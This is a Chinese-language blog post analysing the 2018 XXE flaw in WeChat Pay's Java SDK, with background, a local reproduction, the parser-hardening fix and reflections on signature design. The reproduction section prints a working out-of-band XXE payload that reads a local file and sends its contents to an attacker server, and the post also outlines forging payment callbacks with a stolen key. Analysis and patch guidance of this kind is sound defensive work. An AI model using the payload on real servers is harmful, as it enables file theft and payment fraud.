談談微信支付曝出的漏洞
一、背景
昨天(2018-07-04)微信支付的SDK曝出重大漏洞(XXE漏洞),通過該漏洞,攻擊者可以獲取服務器中目錄結(jié)構(gòu)、文件內(nèi)容,如代碼、各種私鑰等。獲取這些信息以后,攻擊者便可以為所欲為,其中就包括眾多媒體所宣傳的“0元也能買買買”。
漏洞報告地址;http://seclists.org/fulldisclosure/2018/Jul/3
二、漏洞原理
1. XXE漏洞
此次曝出的漏洞屬于XXE漏洞,即XML外部實體注入(XML External Entity Injection)。
XML文檔除了可以包含聲明和元素以外,還可以包含文檔類型定義(即DTD);如下圖所示。

在DTD中,可以引進實體,在解析XML時,實體將會被替換成相應的引用內(nèi)容。該實體可以由外部引入(支持http、ftp等協(xié)議,后文以http為例說明),如果通過該外部實體進行攻擊,就是XXE攻擊。
可以說,XXE漏洞之所以能夠存在,本質(zhì)上在于在解析XML的時候,可以與外部進行通信;當XML文檔可以由攻擊者任意構(gòu)造時,攻擊便成為可能。在利用XXE漏洞可以做的事情當中,最常見最容易實現(xiàn)的,便是讀取服務器的信息,包括目錄結(jié)構(gòu)、文件內(nèi)容等;本次微信支付爆出的漏洞便屬于這一種。
2. 微信支付漏洞
本次漏洞影響的范圍是:在微信支付異步回調(diào)接口中,使用微信支付SDK進行XML解析的應用。注意這里的SDK是服務器端的SDK,APP端使用SDK并不受影響。
SDK下載地址如下(目前微信官方宣傳漏洞已修復):https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip
SDK中導致漏洞的代碼是WXPayUtil工具類中的xmlToMap()方法:

如上圖所示,由于在解析XML時沒有對外部實體的訪問做任何限制,如果攻擊者惡意構(gòu)造xml請求,便可以對服務器進行攻擊。下面通過實例介紹攻擊的方法。
3. 攻擊復現(xiàn)
下面在本機環(huán)境下進行復現(xiàn)。
假設本地的web服務器127.0.0.1:8080中存在POST接口:/wxpay/callback,該接口中接收xml字符串做參數(shù),并調(diào)用前述的WXPayUtil.xmlToMap(strXml)對xml參數(shù)進行解析。此外,/etc/password中存儲了重要的密碼數(shù)據(jù)(如password1234)。
攻擊時構(gòu)造的請求如下:

其中xml內(nèi)容如下:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/password">
<!ENTITY % xxe SYSTEM "http://127.0.0.1:9000/xxe.dtd">
%xxe;
]>
其中/etc/password為要竊取的對象,http://127.0.0.1:9000/xxe.dtd為攻擊者服務器中的dtd文件,內(nèi)容如下:
<!ENTITY % shell "<!ENTITY % upload SYSTEM 'http://127.0.0.1:9000/evil/%file;'>"> %shell; %upload;
通過xml+dtd文件,攻擊者便可以在服務器http://127.0.0.1:9000中收到如下請求:
http://127.0.0.1:9000/evil/password1234
這樣,攻擊者便得到了/etc/password文件的內(nèi)容。
在本例中,攻擊者竊取了/etc/password文件中的內(nèi)容,實際上攻擊者還可以獲取服務器中的目錄結(jié)構(gòu)以及其他文件,只要啟動web應用的用戶具有相應的讀權(quán)限。如果獲取的信息比較復雜,如包含特殊符號,無法直接通過http的URL發(fā)送,則可以采用對文件內(nèi)容進行Base64編碼等方法解決。
三、漏洞的解決
解決該漏洞的原理非常簡單,只要禁止解析XML時訪問外部實體即可。
漏洞曝出以后,微信進行了緊急修復,一方面是更新了SDK,并提醒開發(fā)者使用最新的SDK;SDK中修復代碼如下:

加入了如下兩行代碼:
documentBuilderFactory.setExpandEntityReferences(false); documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
更新:微信重新發(fā)表聲明,上述2條語句無法禁止該漏洞,再次更新了官方SDK,加了以下語句:
documentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
documentBuilderFactory.setFeature("http://xml.org/sax/features/external-general-entities", false);
documentBuilderFactory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
documentBuilderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
documentBuilderFactory.setXIncludeAware(false);
documentBuilderFactory.setExpandEntityReferences(false);
此外,微信官方也給出了關于XXE漏洞的最佳安全實踐,可以參考:
https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5
筆者本人使用上述方案中建議的如下代碼修復了該漏洞:
DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
documentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder();
……
四、擴展與反思
1. 危害不只是“0元也能買買買”
在很多媒體的報道中,強調(diào)該漏洞的風險在于攻擊者可以不支付也可以獲得商品。確實,攻擊者在通過上述漏洞獲得微信支付的秘鑰以后,有不止一種途徑可以做到不支付就獲得商品:例如,攻擊者首先在系統(tǒng)中下單,獲得商戶訂單號;然后便可以調(diào)用微信支付的異步回調(diào),其中的簽名參數(shù)便可以使用前面獲取的秘鑰對訂單號等信息進行MD5獲得;這樣攻擊者的異步回調(diào)就可以通過應用服務器的簽名認證,從而獲得商品。不過,在很多有一定規(guī)模的購物網(wǎng)站(或其他有支付功能的網(wǎng)站),會有對賬系統(tǒng),如定時將系統(tǒng)中的訂單狀態(tài)與微信、支付寶的后臺對比,如果出現(xiàn)不一致可以及時報警并處理,因此該漏洞在這方面的影響可能并沒有想象的那么大。
然而,除了“0元也能買買買”,攻擊者可以做的事情還有很多很多;理論上來說,攻擊者可能獲得應用服務器上的目錄結(jié)構(gòu)、代碼、數(shù)據(jù)、配置文件等,可以根據(jù)需要進行進一步破壞。
2. 漏洞不限于微信支付SDK
雖然微信支付曝出該漏洞受到了廣泛關注,但該漏洞絕不僅僅存在于微信支付中:由于眾多XML解析器默認不會禁用對外部實體的訪問,因此應用的接口如果有以下幾個特點就很容易掉進XXE漏洞的坑里:
(1)接口使用xml做請求參數(shù)
(2)接口對外公開,或容易獲得:例如一些接口提供給外部客戶調(diào)用,或者接口使用http很容易抓包,或者接口比較容易猜到(如微信支付的異步回調(diào)接口)
(3)接口中解析xml參數(shù)時,沒有禁用對外部實體的訪問
建議大家最好檢查一下自己的應用中是否有類似的漏洞,及時修復。
3. xml與json
xml 與 json是系統(tǒng)間交互常用的兩種數(shù)據(jù)格式,雖然很多情況下二者可以互換,但是筆者認為,json 作為更加輕量級更加純粹的數(shù)據(jù)格式,更適合于系統(tǒng)間的交互;而xml,作為更加重量級更加復雜的數(shù)據(jù)格式,其 DTD 支持自定義文檔類型,在更加復雜的配置場景下有著更好的效果,典型的場景如 spring 相關的配置。
4. 題外話:微信支付的簽名認證
在前面曾經(jīng)提到,應用中存儲的秘鑰一旦泄露,攻擊者便可以完全繞過簽名認證,這是因為微信支付使用的是對稱式的簽名認證:微信方和應用方,使用相同的秘鑰對相同的明文進行MD5簽名,只要應用方的秘鑰泄露,簽名認證就完全成了擺設。
在這方面支付寶的做法更規(guī)范也更安全:支付寶為應用生成公私鑰對,公鑰由應用方保存,私鑰由支付寶保存;在回調(diào)時,支付寶使用私鑰進行簽名,應用方使用公鑰進行驗證;這樣只要支付寶保存的私鑰不泄露,攻擊者只有公鑰則難以通過簽名認證。
參考文獻
https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5
http://seclists.org/fulldisclosure/2018/Jul/3
http://www.rzrgm.cn/tongwen/p/5194483.html
創(chuàng)作不易,如果文章對你有幫助,就點個贊、評個論唄~
創(chuàng)作不易,如果文章對你有幫助,就點個贊、評個論唄~
創(chuàng)作不易,如果文章對你有幫助,就點個贊、評個論唄~

浙公網(wǎng)安備 33010602011771號